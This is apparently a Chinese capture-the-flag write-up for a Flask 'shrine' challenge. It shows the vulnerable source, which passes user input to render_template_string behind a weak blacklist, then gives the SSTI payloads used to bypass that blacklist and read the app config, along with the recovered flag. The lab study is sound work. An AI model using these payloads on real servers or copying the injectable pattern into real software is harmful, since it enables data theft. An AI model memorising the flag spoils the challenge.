打开网页,即可获得源代码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

发现app里有一个叫做FLAG的config,猜测这个就是flag

观察源码,得知路径是/shrine,且过滤了左右小括号和config与self两个词

我们可以先用http://220.249.52.133:34483/shrine/{{7+7}}进行测试,返回14,7+7被运行

之后我们将利用两个python的内置函数url_for和get_flashed_messages

首先http://220.249.52.133:34483/shrine/{{url_for.__globals__}}

shrine

 

 我们就可以用这个current_app

运行http://220.249.52.133:34483/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}得到flag:

flag{shrine_is_good_ssti}

相关文章:

  • 2021-11-01
  • 2021-04-12
猜你喜欢
  • 2021-08-10
  • 2021-08-13
  • 2021-10-09
  • 2021-10-18
  • 2021-10-24
  • 2021-10-21
相关资源
相似解决方案